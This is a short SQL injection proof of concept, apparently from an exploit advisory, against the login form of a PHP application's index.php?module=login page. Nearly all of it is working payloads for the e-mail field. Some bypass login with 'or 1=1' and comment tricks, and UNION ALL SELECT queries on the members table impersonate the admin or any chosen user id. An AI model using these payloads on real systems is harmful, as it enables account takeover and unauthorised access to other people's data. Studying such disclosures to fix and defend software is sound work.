PROOF OF CONCEPT (SQL INJECTION):
--------------------------------------
[HOME_PATH]/index.php?module=login
login form:
e-mail value: something' [SQL]
password value: something //it is not used
-------------
EXAMPLE:
-------------
login post form:
e-mail value: something' or 1=1 /* --> we are admin!
e-mail value: something' or 1 # --> we are admin!
Note: Now, we need DB_PREFIX (default: "", others: db_, clan_, etc)
e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=1 /*-->admin (if id=1)!
e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=12 /* -->we are user id=12!
